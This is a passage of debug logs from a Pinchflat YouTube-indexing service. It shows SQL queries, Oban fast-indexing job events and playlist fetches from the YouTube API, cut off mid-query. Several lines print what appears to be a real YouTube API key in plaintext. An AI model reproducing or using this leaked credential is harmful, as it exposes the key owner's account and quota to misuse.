s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:47.124 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:47.300 [debug] QUERY OK source="media_items" db=0.6ms idle=176.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 17:05:47.301 [debug] QUERY OK source="media_items" db=0.3ms idle=177.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:05:47.302 [debug] QUERY OK source="tasks" db=0.1ms idle=178.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268397, 23, ~U[2026-10-09 22:05:47Z], ~U[2026-10-09 22:05:47Z]] 17:05:47.302 [info] {"args":{"id":23},"id":5268357,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179348,"event":"job:stop","queue_time":435862,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:06:00.432 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:15.554 [info] {"source":"oban","duration":9960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:45.565 [info] {"source":"oban","duration":9656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.433 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:15.575 [info] {"source":"oban","duration":10060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:07:30.230 [info] {"args":{"id":36},"id":5268358,"meta":{},"system_time":1791583650230383581,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:30.231 [debug] QUERY OK source="sources" db=0.6ms idle=1007.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:07:30.231 [debug] QUERY OK source="settings" db=0.1ms idle=884.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:30.231 [debug] QUERY OK source="media_profiles" db=0.1ms idle=884.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:30.231 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:30.231 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:07:30.231 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:30.231 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:30.535 [debug] QUERY OK source="media_items" db=0.9ms idle=303.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 17:07:30.537 [debug] QUERY OK source="media_items" db=0.9ms idle=305.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:07:30.538 [debug] QUERY OK source="tasks" db=0.1ms idle=306.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268398, 36, ~U[2026-10-09 22:07:30Z], ~U[2026-10-09 22:07:30Z]] 17:07:30.538 [info] {"args":{"id":36},"id":5268358,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":307890,"event":"job:stop","queue_time":382564,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:31.231 [info] {"args":{"id":2},"id":5268359,"meta":{},"system_time":1791583651231122694,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:31.231 [debug] QUERY OK source="sources" db=0.1ms idle=693.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:07:31.231 [debug] QUERY OK source="settings" db=0.1ms idle=693.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:31.231 [debug] QUERY OK source="media_profiles" db=0.1ms idle=687.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:31.232 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:31.232 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:07:31.232 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:31.232 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:31.541 [debug] QUERY OK source="media_items" db=0.6ms idle=309.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 17:07:31.544 [debug] QUERY OK source="media_items" db=2.6ms idle=310.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:07:31.545 [debug] QUERY OK source="tasks" db=0.1ms idle=312.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268399, 2, ~U[2026-10-09 22:07:31Z], ~U[2026-10-09 22:07:31Z]] 17:07:31.545 [info] {"args":{"id":2},"id":5268359,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":314104,"event":"job:stop","queue_time":444247,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:32.232 [info] {"args":{"id":22},"id":5268360,"meta":{},"system_time":1791583652232204004,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:32.232 [info] {"args":{"id":10},"id":5268361,"meta":{},"system_time":1791583652232249670,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:32.232 [debug] QUERY OK source="sources" db=0.1ms idle=687.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:07:32.232 [debug] QUERY OK source="sources" db=0.2ms idle=687.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 17:07:32.232 [debug] QUERY OK source="settings" db=0.1ms idle=681.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.232 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:32.232 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.233 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.233 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:07:32.233 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:32.233 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.233 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:32.233 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.233 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 17:07:32.233 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:32.233 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:32.376 [debug] QUERY OK source="media_items" db=0.6ms idle=143.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:07:32.377 [debug] QUERY OK source="media_items" db=0.3ms idle=144.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 